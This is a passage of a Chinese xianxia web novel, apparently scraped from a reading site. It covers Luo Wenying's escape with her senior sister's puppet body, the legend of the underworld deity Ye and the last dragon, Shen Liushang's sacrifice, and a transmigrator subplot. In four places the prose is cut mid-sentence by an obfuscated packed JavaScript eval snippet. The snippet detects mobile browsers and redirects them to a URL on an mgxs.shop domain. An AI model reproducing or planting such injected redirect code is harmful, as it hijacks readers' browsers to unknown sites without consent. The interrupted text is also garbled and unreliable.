她只是睁开了眼,直直望着上方,胸口微微起伏着,一下,两下,三下,慢慢平复下来。 小翠和小鸟大气不敢出。 她抬手缓缓摘下了眼上的红绸带,看着自己的手心,看了很久,眉头慢慢拧起来,又松开,松开又拧起来,像在努力回忆什么,又像什么都回忆不起来。 掌心空空。 她的手慢慢落回去,落在身侧。 然后她撑着坐起来。 动作很慢,好像每一下移动都需要用力。她坐直了,长发从肩头滑落,她也没理,就那么坐着,垂着头,看着自己的手。 小翠这才看清她的眼睛,没有了那层红绸,那疲惫的眼神再也无法掩藏。 可她的表情是茫然的。 小翠和小鸟僵在那儿,不知该不该动。 然后洛闻瑛开口了,声音有点哑:“……你们是谁?” 小翠愣住了。 这么多天,她从没问过。 “……我叫小翠。”它下意识说,又指了指旁边,“它叫小鸟。” 洛闻瑛没说话。她垂下眼,若有所思,因为她还是听不见。 屋里安静了一会儿。然后她撑着下了榻,赤着脚,一步一步往窗边走。 小翠想拦,又想起吩咐,讪讪缩回爪子。 洛闻瑛走到窗边,推开窗。 雨后初霁,天边透出一线光。院子里积了水,亮汪汪的,映着灰蓝的天,檐下的铃被风吹动,叮叮当当响着。 她听不见。 可她站在那里,对着那线光,很久没动。 然后她伸出手,向着窗外。 阳光从云隙漏下来,落在她掌心,薄薄一层金。 她低头看着,嘴角慢慢弯起来,弯得很轻,像是不太确定自己是不是该笑。 小翠和小鸟站在她身后,你看看我,我看看你。 院子里积水上落了一片叶子,荡出一圈一圈的涟漪。檐铃还在风里轻轻响着,一声一声,很清,很远。 她就那样站着,一直站着。小鸟的脑袋一点一点往下栽。 “我看见你了……”她开口,把两只打瞌睡的鸟儿吓得一激灵。 “你一直在看着我。” 心上那双水蓝色的眼睛,总是藏在天的那边,隔着远远的银河,捧起她热切的目光。 门被推开一条缝,光从外面漏进来,映出一个修长的影子。 半晌,那人开口,声音很轻,带着些玩味。 “你怎么知道是我?” 洛闻瑛没有立刻回答。 她偏着头,像在听,又像在看,用那双其实什么都看不见的眼睛,认真地“看”着门口的方向。 “我说的不是你,”她说,声音很慢,像一边想一边说,“可是你也该来了。” 那人不以为意,嗤笑着说:“我该来了?” “而且,”洛闻瑛没有回应她,只是接着说,“你身上有股味道。” 那人愣了愣:“什么味道?” “大王花的臭味。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576351|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛闻瑛说,语气平平的。 那人没说话,周身溢出的敌意越加明显。 洛闻瑛摇摇头,轻飘飘甩出一句话:“反胃得很。” 屋里安静极了。 小翠和小鸟一直发着抖,然后被那人哄睡着了。 那人得意地轻哼两声,朝洛闻瑛走近几步,抬手欲抚她的脸颊。指尖刚触到那抹红色绸带,洛闻瑛已借着神识微微侧身,不动声色地拉开了距离。 “吃掉‘尸’的滋味,”那人唇边泛起一丝讽笑,“你应该比我更清楚吧?如今你我谁也不怕谁,该怎么做,你心里有数。” “小时候,我一直听你的话,云缨姑姑。”洛闻瑛语气平静,眼底却暗潮翻涌。 夜风呼啸。 银剑上,洛闻瑛抱紧了柳清圆的腰,吼了一嗓子,冷风灌她一嘴:“去哪儿呢!” 柳清圆回道:“九幽。” 洛闻瑛听不清,又嚎一嗓子:“什么?!” 方才守护洛闻瑛的阵法有了波动,柳清圆留下的这具傀儡身便立即动作,不待云缨动手,便将洛闻瑛带走了。 洛闻瑛现下五感才刚刚恢复,还没有完全好起来,柳清圆那道守护阵法是以自己的一缕神识加固过的,除了洛闻瑛气息相近的人,根本无法进来。只是她千算万算,也没算到那个要杀洛闻瑛的人,居然是云缨。 柳清圆的本体依然困在九幽之地。当初沈流商以魂誓为押,求她前往那里修炼血傀术、布设大阵。柳清圆也预感到一些真相,便与他一同前往九幽。 可如今,有人正在沿着阵中的裂隙潜入,试图吞噬他们二人,将千年布下的阵法毁于一旦。 九幽那边,柳清圆的本体仍在激战之中,而这具由一缕神识凝成的傀儡身,已燃至极限,再也撑不了太久。如今看云缨这一出,姑媱山也不能待了,为今之计必须带着洛闻瑛赶回去,哪怕涉险也要与柳清圆真身汇合。 因与洛闻瑛立下同心之契,柳清圆的神魂深处烙有一瓣蓝花楹,如今从她腕间悄然绽放,与洛闻瑛腕上之花遥相对应,成双成对。 洛闻瑛紧紧搂住柳清圆的腰,声音里带着压抑不住的颤抖:“师姐,我就知道你会回来救我……这些日子,我好想你。” 这具傀儡身只有带着她逃命的意识,无法回应她别的话,可洛闻瑛依旧在追问。 “从上一道劫过去,又过了多少年?圆圆,你等了我多久?” 她收紧了怀抱,低声道:“放心,以后我再也不会走了。” 就在洛闻瑛抓着这具傀儡身亲了又亲的时候,九幽那边柳清圆腕间那抹青色胎记骤然泛起蓝紫色的光晕,那花痕似的印记便仿佛活了过来。 一瓣、两瓣……细密的纹路不断舒展蔓延,直至绽开五个柔婉的裂片,最终,一朵完整的蓝花楹在她肌肤之下悄然绽放。 这边柳清圆这具傀儡身忽的以肉眼可见的速度苍白下去,生命力仿佛被尽数抽走,朝着九幽方向奔涌而去。 她一愣,手上力道一松。柳清圆整个人直接瘫倒下来,洛闻瑛为了接住她,猛地往右一倾倒,两人竟从银剑上滚落,摔进路边草丛。 洛闻瑛反应极快,翻身护住她,重重摔落在地,自己咬牙忍住了那份剧痛。她顾不上别的,连忙去抱柳清圆,却见她面色惨白,眉头紧皱,显然痛苦万分。而柳清圆的手中,仍死死攥着一柄骨刃。 63. 前世篇(二十三) “师姐……师姐,你这是怎么了……”洛闻瑛的身体还没有完全恢复过来,周身法力空空荡荡,连一丝灵力都无法渡给傀儡。她只能眼睁睁看着,什么都做不了。 柳清圆却弯起唇角,她忽然抓住洛闻瑛的手,用力一拉,借着洛闻瑛的手让骨刃刺入自己的心口。 “小师妹,往前走。” 九幽深处,感应到姑媱山那边能够透过契印反向锁定自己的法力源头,柳清圆当机立断命令傀儡自毁,截断了前往九幽的路。她不能再让洛闻瑛因自己而身陷危局。 洛闻瑛瞳孔骤缩。 刀尖没入之处,没有鲜血涌出,只有一片空洞的黑暗。 洛闻瑛僵在原地,手里还握着把柄骨刃。她看见柳清圆心口处那里,没有心脏。 “圆圆……”洛闻瑛喉咙发干。 柳清圆没能看清眼前人的表情,因为世界在她眼里碎成了千万片,她水蓝色的灵眸碎裂了,血丝黏着吊在眼眶上,似将坠未坠的两朵桃花。 洛闻瑛跪在草丛里,浑身冰凉。她眨了下眼,泪水砸下来,眼前的一切都花了。 她背着那副残破的躯壳往前走。师姐伏在她背上,安安静静的,先前那副吓人的样子已经看不出来了,她把那双眼睛洗干净,重新放了回去。 洛闻瑛记得自己先前是如何平静地做完这一切,如同行尸走肉般,将那两颗沾了尘土的珠子抠出来,到河边洗净,又双手捧着,轻轻推进那空洞的眼窝里。 洛闻瑛什么都可以不管,不管背上这副躯壳是什么。她只知道,这里有她的师姐,有她的仙卿客,有她藏在心底的兔子糖。唯独师姐,她绝无可能置之不理。 这身体已经不行了。她撕下自己一截衣裳,在柳清圆眼睛上缠了一圈,怕那眼珠再掉出来。 哪怕洛闻瑛知道这只是一具傀儡身,她依旧不能将师姐放下。 做完这些,她又捧了水,把师姐的脸擦干净。那把骨刃也拿起来,擦掉上面的血迹,珍重地收进了识海。 识海里的禁制碎了一些。楼静时留下的那道守护禁制,做了一点小手脚,为了帮她拖延历劫时间,起初时居然没被人看穿。后来幽都出事,三界彻底乱了,瑶姬亲自来把她带走,那招数才被看破,洛闻瑛的最后一重考验也真正开始了。 洛闻瑛不知道该如何修复这具躯体,她甚至不知道现在自己该去哪里。 她脑中浮现出的是他们三个先前下山历练那一段时日。蹄花汤的香能飘十里,漫山的蓝花楹开得正好。山腰私塾里,孩子们摇头晃脑念着书,偶尔走神,眼睛往外一飘,蝴蝶便飞过来。秋来五谷丰登,冬来瑞雪兆千家。 洛闻瑛凑近柳清圆耳畔,声音轻轻的:“师姐,等等我吧。” 洛闻瑛跑着喘气,心里越发慌张,满眼只在意着圆圆,偏偏脑中的记忆还是不断刺激着她,她想起沈流商到底是谁了。 很久很久以前,天地初开,幽冥之地诞生了最初的神灵,就是后土之神,名叫靥。 他守在九幽,化作一道彼岸结界,引渡亡魂入冥河,戾气化去,从此长眠。千万年里,他渡了无数游魂,护了无数无处可去的孩子。三界似乎也不知他的存在,只当幽都本就如此,或许那道彼岸,那首渡魂的歌谣,都是天生地设的。 “少年负剑兮,涉彼重渊。折戟沉沙兮,月作征鞍。故桑已焚兮,何处家山。赤风呜咽兮,照夜难安。魂兮归来兮,涉彼忘川。执此荼蘼兮,共赴长眠。” 精怪鬼煞们甚至都在这里安了家,三界安宁了好多年,可没人知道,冥河里有些东西是渡不掉的。执念、不甘、寂寞、空愁,日复一日缠上来,像长在肉里一样。靥被这些东西折磨了千万年,疼得快要撑不住的时候,遇见了龙族。 那是龙族一夜覆灭之后,所有龙魂被困在九幽,无法引渡,竟能跟靥身上的阴暗面相互制衡,他在犹豫要不要将这些幽魂吸纳为己用,却一直没有下手。不久后在冥河边上,靥经常能看见一条小龙在发着呆。 那是世间唯一存在的最后一条龙,多稀罕呐,更别说靥几乎从没见过任何活着的灵族来此地。于是他分出一缕神念,去探了探。 原来如此。 龙族为何一夕灭族?为何被困幽都,无法引渡?只是因为龙族的野心。 每一个族群生来受天地恩泽,便要承担回馈天地的责任。龙族几乎与祖神同生,绵延至今,却不愿像祖神一样献祭天地。他们想要长长久久,做这世间的主宰。 守护之力越来越薄弱,本就要慢慢衰败。可他们不甘心,便造了一位神。几位龙女献祭,将所有天地之力灌注于其身,那条小龙出生时便被捧成了神。 这看似可行,实则是逆天之举。 所有天地之力系于他一身,龙族满心期待,结果反而阻碍了同族修行。而他也化龙失败了,这意味着他未被天地承认,非是此界生灵。 神身上的天地之力发挥不出,天地得不到滋养,族类修炼大受阻碍。最终,龙族这个曾经强大的族群,在一夕之间湮灭,被囚于幽都,不为外界所知。 可是小龙还没死。 他为什么还没死?他找不到龙女,便循着气息来到冥河。他对靥说,他想回家。 靥给他指了条路,让小龙跳进冥河吧。既不为天地所容,便消失于这天地间,这样一切就结束了。 小龙每天跳进冥河,可怎么也死不掉。 靥有点好奇,便又化作一个少年,故意卷进那截冥河,半死不活地漂到小龙面前。 小龙拉他上岸,然后叽叽喳喳跟他说了老半天的话,说他好害怕,他想回家,还想找妈妈。 靥觉得好烦。 他说:“你用根绳子悬着吊死得了。好多吊死鬼舌头伸得老长,天天这样缠着我说话。” 然后他问小龙:“你到底要不要死了?把你的力量让给我吧,这样你死了,就能和你家人团聚了。” 小龙说好。 奄奄一息的少年被小龙抱在怀里,他掰断自己额头上的两根龙角,金色的血液不断流下来,流到少年身上。七天七夜后,那金色慢慢变成鲜红,变成普通的血。 而少年,一天比一天好起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576352|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年睁开眼,小龙的笑脸就撞进视线里。 “谢谢你,”小龙崽说,笑意更深了些,“虽然……我还是没死成吧。” 靥忽然心软了。 他抬起头,亲了亲这只小龙崽的额头,那一吻里,烙下了他残余的神格,彼岸结界坍塌了,却补全了小龙崽剩余不全的部分。那是幽都的第一次异动,伴随着龙族的消失,灵族开始争相攻伐。 从此,阿济就是真正的神了。阿济是靥亲自选定的下一任幽都之主,是他的传承者,可以与自己的家人在一处了。 靥有点惊喜。他从未想过自己还能有传承者。他就像个被抛弃的神,又让一个被抛弃的东西做他的传承者,继续他的被抛弃。 真好。 然后那缕神念一点点消散了,在小龙崽说了“你是我的家人”之后,消散了。 阿济终于还是一个人。 这片天地归小龙崽了,靥也可以安安心心地离开了。 可为什么,心里空落落的? 为了这点空落落,鬼使神差地,他好像悄悄在那点神格里,附了一个封印,那是一个再遇的封印,存着他的私心。如果他不能再回来,那小龙崽也别想离开这里,也要永远陪着他,这样就好了。 谁都不孤单。 后来,三界之中,统御四海的龙族消失,取而代之的是沧澜灵族沈氏一脉。沈流商拜入长生天,一心修道,只为得道长生。 直到灵泽大比,他落入大荒,遇到一个半人半鱼的少年。 那少年说,他叫谢济泫。 封印解开了。 洛闻瑛停下来,喘了口气,又把师姐往上托了托。 这些都是楼静时传给她的那一缕心念里存着的信息,这些似乎是从瑶姬和云缨那里得到的。她想起来,后来靥为什么要做那些事。 不是要放出龙族幽魂灭世。 他是想杀了自己。 千万年过去,冥河里的东西早已跟他分不开了。他身体里长出了一个阴面,那是被执念和煞气养出来的东西,一旦压不住,就会变成真正的魔神,把三界都拖进冥河。 那个魔神会带着他的全部记忆走来,作为靥的记忆,作为沈流商的全部。可在静时姐姐的预言里,沈大牛就是消失了,彻彻底底,无影无踪。 他试过压制,可是那只是徒劳。 只有一种办法能彻底杀死那个阴面,就是他自己死。用他自己的命,换谢济泫动手,让那个凭着他的神格活下来的小龙崽,亲手杀了他。 这样,谢济泫才是真正的幽都之主,才能有引渡龙族幽魂,引渡他的同族离开。而靥,终于能从那千万年的折磨里解脱。 沈流商有过疑虑,最终也要承载自己的天命,于是他联络柳清圆一同设下阵法,是想直接献祭自己,而不是与自己的道侣玉石俱焚,这是他为自己选择的余地。 但是他错了,他不知道,靥是受了蒙骗。那道彼岸结界坍塌不是因为靥的私心,将神格给了本应遭受神罚的灵族,而是背后另有其人,将那道彼岸结界打破了,还有柳清圆的出现也是…… 65. 前世篇(完) 被抓过来后,沈流商开始明白,那些柱子上的人是怎么死的了。 不是被杀,是慢慢耗死的,看着自己的命一天天流走,什么都做不了。这种死法比一刀杀了难受一万倍。 疼得厉害的时候,他就闭上眼睛想些开心的事。 他会想起小师妹笑起来的样子,想师姐一本正经耍酷的样子,想他们三个人跟山下的小仙子为一块灵石讨价还价的日子。 后来连想这些也变得困难了,藤蔓吸完灵力,开始吃他的血肉。他的伤口刚长好又被啃噬,反反复复,直到根基耗尽,才能彻底解脱。 “你在笑什么?” 声音从黑暗中传来,沈流商睁开眼睛,看见云霜简站在他面前。 “你在吃他们。”他说,“那些柱子上的人,你在吃他们。” 云霜简没有否认。他甚至微微笑了笑,那笑容里有一丝得意。 沈流商沉默了一会儿,忽然问:“吃了多少了?” “够你成神了吗?”沈流商又问,语气里有一丝奇怪的认真,“还是说,还不够?” 云霜简盯着他,目光变得危险起来。 “你在试探什么?” 沈流商说:“我很好奇。你忙了这么多年,杀了那么多人,害了那么多条命,到底成神了没有?” 靥为重生后的沈流商布下的,从来都是一个死局。靥设下的局,是让谢济泫亲手杀了沈流商,而沈流商给出的答案,却是自己献祭自己,为九幽重新建起一座彼岸桥。 这或许是他唯一一次完全出于自己意识所做的决定。幸而谢济泫很好骗,他一点也没有怀疑沈流商,沈流商让他去守着洛闻瑛,他便一直守着。 事到如今,外面一切应当已经尘埃落定。那个被造出来的傀儡“沈流商”正在长生天里等着。谢济泫那个二傻子,等他一回去,就能看见有人在等他回家了。 沈流商唯一暗自庆幸的,是自己布下这座大阵,竟真的引出了那个幕后之人。 原来当年,并非靥招来了天道惩戒。而是有人暗中设计,击碎他的神魂,夺去练成禁术,才把九幽变成了如今这个生杀予夺、弱肉强食的地方。 云霜简笑道:“原本还差一些,不过现如今有了你,那便指日可待了。” 他忽然鼓起掌来。 沈流商还没反应过来,远处传来一个细微的声音。窸窸窣窣的,像什么东西在爬,由远及近。 他循声望去,一根柱子的阴影里,有东西在动。 那东西虽然有人形,却佝偻着背,四肢着地,像野兽一样爬。爬得很慢,每挪一步都要停很久,身上拖着一根粗藤,藤的另一端连在柱子上。 沈流商看清了那张脸。 “……阿姐?” 女人剧烈颤抖起来。她想爬起来,四肢无力,又摔下去,额头磕在石板上,闷响一声。可她像感觉不到疼似的,只是慌乱地向前爬着,想离开这个地方。 每爬一步,身后那根藤蔓就收紧一分,黑色纹路从皮肤下浮起来,像无数条蛇在蠕动。可楼静时不管,只是一寸一寸往前爬,想要远离沈流商的目光。 “阿姐,不要怕。”沈流商试着挣扎,手腕上的藤蔓立刻收紧,勒得骨头咯吱响,“我来陪你了。” 楼静时停住了。 不是因为听见他的话,是因为没力气了。她趴在冰冷的地面上,脸贴着石板,眼睛却还倔强地看着沈流商。 身后藤蔓猛地一收,楼静时的身体被拖了回去,地上留下一道长长的血痕。她拼命伸出手,五指张开,想抓住什么,却什么都没抓住。 沈流商只能眼睁睁看着楼静时被拖进黑暗深处,看着那张扭曲的脸消失在藤蔓缠绕里,看着那双眼睛最后看他的那一眼…… 那一眼里,有泪光。 黑暗吞没了楼静时的身影,只剩藤蔓窸窸窣窣的爬行声,渐渐远去。 沈流商垂下头,死死咬着嘴唇,努力压制着泪水,维系着表面的平静。 “挺感人。” 云霜简的声音从身后响起,幸灾乐祸。 “可惜了,你再怎么舍不得,你姐姐也回不来了,这些藤蔓已经吸干了她的神魂,她只是供我操控的血奴罢了。”云霜简走到沈流商面前,蹲下来,与他平视。 沈流商抬起头,目光冷得吓人。 “只要吞噬了你,九幽便彻底臣服于我,届时天地尽在我掌中,连祖神之位也唾手可得。到那时普天之下皆是我灵族的天下,那些卑微低贱的妖魔,以及狂妄自大的人类,统统都要匍匐在吾等脚下,俯首称臣。” “恐怕是不行吧?你的本源都已经被魔气侵蚀了。”沈流商冷笑,“你吃再多,也只会助长''祂''的力量,因为你才是多余的那一个,你才是该被舍弃的那一个。” “所以你想成神,你想受人尊崇,你也想要融入我们的眼中。可惜啊,你成不了神了,你吃掉我之后,也不过再缓个几年化妖而已。” 那一瞬间,沈流商看见他眼底有什么东西碎裂了。那是他精心维持了千万年的伪装,是他用来骗自己的幻觉。 可现在,那个幻觉被沈流商轻飘飘的一句话戳破了。 “你懂什么。”他的声音陡然变冷,“你什么都不知道。” “我知道。”沈流商说,“我知道你杀了很多人,我知道你骗了很多人,我知道你想成神想到发疯。可我也知道……” “你就是成不了。” 云霜简的手抬了起来,黑雾在他掌心凝聚,越来越浓烈。可沈流商看着他,眼底没有半分畏惧。 “因为你从一开始就错了。我看见靥的预言昭示,天道之女现世,引天火降世,你终将灭于天火之下,以此偿还世间公允。自那以后,世间再无神明,天上地下,自成主宰。” 黑雾在他面前停住了。 “你想知道天道之女是谁吗?”他问。 云霜简的目光闪了闪。 “离山,”他轻笑一声,脑中出现了那云雾缭绕的远山轮廓,“山脚下有个卖蹄花汤的小娘子,那就是真正的天道之女。” 云霜简气笑了。 “好。”他直起身,脸上的笑容还没完全消失,可那笑容已经扭曲得不成样子,“好得很。我倒要看看,那个真正的天道之女,能不能救得了你。” 弥留之际,沈流商拼尽最后一丝力气,向外传递出一缕微弱的心念。他勾起嘴角,也许是因为神智已经开始涣散,说的话也是意味不明。 “祝你好梦。” 云霜简嗤笑一声,低声讥讽了几句,随即手掌覆上他的灵窍。 …… 接应完洛闻瑛后,那天夜里,谢济泫不知怎的困倦得很,还难得做了一场梦。 那东西从黑暗中缓缓走出。硕大的身形,漆黑的鳞甲,曾经独霸一方的种族,它们的诞生如祖神般郑重,它们的消散却又轻如鸿毛,杳杳无踪。 是被囚禁在这里千万年的龙族幽魂。它的身体是半透明的,散发着幽冷的光,鳞片残破不全,眼睛是两团空洞的火焰。 它看着谢济泫,那两团火焰剧烈跳动起来。 “你回来了……” 那声音像是从极远极远的地方传来,充满了沧桑和悲痛。 谢济泫看着那条龙魂,看着那张残破的脸,看着那双空洞的眼睛里跳动的火焰,忽然间什么都说不出来。 那是他的族人。 那是他寻找了千万年,却始终没有找到的族人,曾经隔着那道彼岸结界遥遥相望。 这是靥曾施加于他的诅咒,却也埋下了一线希冀。按约定,须得沈流商先死,谢济泫继任完整神格,方能与他相见,度化龙族幽魂。 可为何……龙族幽魂提前现世了? 归属感自心底升腾,几乎将他整个人托起,紧随而来的却是无边的忐忑。谢济泫猛地回头,望向沈流商,那人还在,完好无损地站在那里,冲他温柔地笑。 心猛地一跳。 难道……还有第二条路? 那道阴面,当真被成功剥离了?纠缠他们多年的死结,终于解开了? 霎时间,巨大的欢喜如潮水般涌来,将他彻底吞没。 谢济泫竟难得展现了一丝脆弱,那巨大的龙首轻轻向他靠近,他伸手托住,将额头轻轻抵上去,无比依恋。 “我来晚了。” “不晚。”它说,“你回来了,就不晚。” 它转向谢济泫,目光变得柔和起来。 “去吧,崽崽,”它说,“去做你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢济泫狠狠咬牙,被龙族幽魂残余的力量形成的威压死死摁在地上,他反抗着,脏器也在不断破裂,浑身都是鲜血。 沈流商的身影彻底融于黑暗之中,那些龙魂的身影一个接一个地消散,像是无数盏灯,一盏一盏熄灭。可直到最后一盏熄灭,它们都没有让谢济泫前进一步。 他浑身是血,甚至现出了原形,鳞片剥落了大半,一只眼睛已经瞎了,可他还活着,还在追。 “你……”他每一个字都是从牙缝里挤出来的,“你跑不了……” “沈流商——!” 他的嘶喊声被吞没,宫殿轰然倒塌。 谢济泫猛然惊醒,一转头,却发现沈流商已经靠在床边睡着了。他心头一软,忍不住凑过去想偷偷亲他一下。 谁知沈流商忽然睁开眼,偏头避开,还笑着伸手掐住了他的嘴,作势要教训他。 谢济泫眨了眨眼,可怜巴巴地望着他:“夫君,我刚刚做了一个好吓人的梦……就让我亲一下,好不好?” “什么梦能把你吓成这样?”沈流商的声音里带着几分慵懒的笑意,“说来听听,若是不吓人,今晚就别想上我的榻。” 谢济泫立刻露出委屈的神情,抓住了沈流商的手腕,顺势将那只手贴在自己心口:“天地可鉴。” “我梦见……”谢济泫的声音低下来,像是还心有余悸,“素鳞你不要我了,把我一个人丢在荒郊野外,我怎么喊你都不回头。” 沈流商沉默了一瞬,随即轻哼一声:“就这?” 谢济泫装模作样道:“这还不够吓人? 沈流商终于松开了掐着他脸颊的手,转而屈指弹了一下他的额头:“出息。” 谢济泫趁势就要往他怀里蹭,沈流商却一只手抵住他的额头,将他稳稳挡在外面。 “我说了,说出来的是假话就不许亲。” “句句是真!”谢济泫举手发誓,眼神无比真诚。 沈流商慢悠悠地看了他一眼,忽然凑近了些,像是索吻一般。谢济泫心跳漏了一拍,以为他终于要心软了,连忙闭上眼睛,微微仰起脸。 等了片刻,预期中的柔软触感却没有落下来。 “再编。”沈流商轻声道,“你从来不做噩梦。” 谢济泫一怔,随即有些心虚地移开了目光。 “那……”他支吾了一下,又厚着脸皮看回去,“我梦见夫君亲我了,结果一睁眼发现是假的,这不比噩梦还难受?” 沈流商终于没忍住,轻笑出声:“就你歪理多。” 他心一动,便让谢济泫得逞了。 66. 几回魂梦与君同 “莺莺,你还没猜完呢。春日宴上的花妖,明月楼下的画舫,还有水底藏着的蛟妖,这些还只是冰山一角。” 柳清圆笑吟吟地说着,一点也没有被拆穿后的慌张。她放下手里的瓜子,拍了拍碎屑,看向万念俱灰的柳知微。 柳知微现在是半死不活的状态,旁边那条狗也被她掐晕了。她仰头望天,用手捂住脸,恨不得催眠自己这只是一场梦,结果手被人拿开,对上柳清圆幽幽的目光。 “怎么不装了?想坦诚相见了?” 柳知微不想回答,移开视线。斗不过,根本斗不过。她心里盘算着,干脆摊牌算了,反正总部那边也焦头烂额。不如先跟着柳清圆混,替总部拖点时间,等支援到了再说。 “柳清圆,你能直接告诉我你到底想做什么吗?” “如你所想,我也不是柳莺娘。这具身体是我占的,之前故意装出讨厌你的样子,是为了模仿柳莺娘的性格,掩饰真实身份。接近你,就是我的任务。” 柳清圆饶有兴致地看着她:“哦?这些我早就知道了。只是不知道你的任务是什么?你背后的人派你来做饵,还真是选对人了。” 柳知微听出她话里的嘲讽,沉默了片刻,决定忽略,为了防天罚,她只能挑些关键的说,还得粉饰一下:“我的任务,就是来助你成神。” 柳清圆明显愣了一下,这个回答确实有点出乎意料。以往接近她的东西,都是冲着杀她来的,只是最近不自量力的尤其多。 她没有说话,只是默默看着柳知微,似乎在等她继续编。 柳知微深吸一口气,结合系统给她补全的世界信息开始编:“我来自灵族,得到神谕之后,天道便派我作为辅佐你的人,等你历劫完毕,我自会现身,推你上神位。” 这其实跟她的原本任务也差不多,本来就是预备让柳清圆成神的,虽然目的是为了夺舍。 柳清圆挑了挑眉:“原来如此。那我该叫你什么?” 柳知微有些意外,预想中的质问没有出现,这番说辞完全是瞎扯,柳清圆居然就这么信了? “我本名就是柳知微,不过没有小字叫莺娘。你叫我''瑛瑛''也行。”柳知微摸了摸下巴,想起之前在穿越班刻苦学习时的代号就是瑛瑛。 “哪个瑛?” 柳知微懒得解释,想糊弄过去,柳清圆却已经把手伸了过来,让她在上面写,柳知微便在她掌心落下一个“瑛”字。 柳清圆笑了笑,像宝贝似的合拢手掌:“说开了就好,瑛瑛。” 柳知微有些诧异。虽然料到柳清圆会看破她的伪装,但发现一个能悄无声息夺舍他人的存在,柳清圆竟然一点都不惊讶,也没有追问她的来历,甚至这么轻易就相信了她。 她看向柳清圆,等对方继续发问,但柳清圆似乎没有那个意思了。 柳知微问:“那作为交换,你得告诉我你究竟想做什么。” 柳清圆笑了:“瑛瑛,你既然是来助我的,那我告诉你,我想报仇雪恨。” “报仇?”柳知微一愣。 柳清圆笑着点点头,却没有再说下去:“瑛瑛,我喜欢你,跟我一起走吧,既然把话说开了,就没什么好隐瞒的了。不过我现在还不能告诉你全部,怕把你牵扯进来。” 柳知微想的是再拖些时日,等总部做好预防措施,派支援过来。 柳清圆原本只是把柳知微当成一个有趣的人,起了逗弄的心思。但那种莫名的熟悉感,还有柳知微引天雷来救她时的样子,以及那柄骨刃……柳清圆必须留下她。 她不得不承认,自己有些喜欢柳知微了,虽然柳知微给的借口很模糊,但能引天雷说明她跟天道确实有些联系,柳清圆又多信了几分。只是得知这个答案后,她心底却莫名涌起一些落寞和失望。 柳知微还想从柳清圆嘴里撬出点什么,但柳清圆已经打住了话题。天边忽然金光一闪,大地猛然颤动起来,柳知微险些站不稳,被柳清圆扶住了。 系统这时已经清醒过来,屎黄色的大狗直往柳知微身后躲,这地震来得太突然,根本来不及反应。 一阵猛烈颤动袭来,柳清圆却显得游刃有余,因为她早就在柳府周围布下了防御阵法,但即便有法力加持,柳府还是受到了波及,看来外面的局势比她想象中的还要危急。 柳清圆施法修复阵法,震动渐渐平缓,就在这时,二人一狗面前忽然从天而降一条白蛇,直接挂在系统的狗头上,吓得系统嗷嗷直叫。 柳知微忽然一阵头晕目眩,眼前不受控制地浮现出一些不属于她的记忆。 花妖副本中,蓝衣少女消散前闪过的那个画面,为她补全了心窍中缺失的那片空白。 大雪纷飞,倾颓的神庙前。 一个披头散发的女子被拖曳而出,身后留下蜿蜒的血痕,那是被处决的“祭品”。 画面里,柳知微莫名感到哀伤,她静静立着一位稍年长的少女,少女伸出手,轻轻蒙住了她的双眼。 最后一刻,柳知微终于看清了少女的容貌,那是一张与沈如雁一模一样的脸庞。 “小瑛儿,”少女的声音穿过风雪,冰冷无波,“不要哭。” 混乱如潮水般涌来,现实与记忆的边界在柳知微脑中模糊成一片。 “不尽有为,不住无为。” 她想起这句话,也想起另一句:“小瑛儿,你的眼要看见他们,但不要陷进去。” 圣人无常心,以百姓心为心。生而不有,为而不恃。 与众生同苦是必要的,但真正的度,来自“照见五蕴皆空”,看见苦的根源,而不被它淹没,要先远离执着,才能清晰回应。 “灵族不渡人。”她最后的声音很平静,“我们只教人自渡。” 柳知微混沌地点了点头,走进人间,再没有回头。 …… 洛闻瑛不知道该去哪里,云缨都已经叛变,姑媱山定是出了事,而九幽那边的入口已经被柳清圆截断了,她的灵力正在缓慢恢复着,如今漫无目的地走着,自己反而摔得遍体鳞伤。 她停了下来,凝聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576355|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出最后一丝灵力,化了一片花林出来,这片花林是她设下的灵障,隔绝着外界攻击。而周围那些疯狂蔓延的藤蔓缠绕着漆黑咒文,从四面八方扑来,却触之即灭。 她背上还驮着一具无法动弹的躯壳,楼静时传送给她的那些记忆汹涌而上,冲得她脑子迷迷糊糊,莫名心疼得紧。 上次到离山时,洛闻瑛在那里施法留下了一片蓝花楹,那次下山历练,她第一次对人世有了真正的感知,然而这也是姑媱山开始计划的第一步。 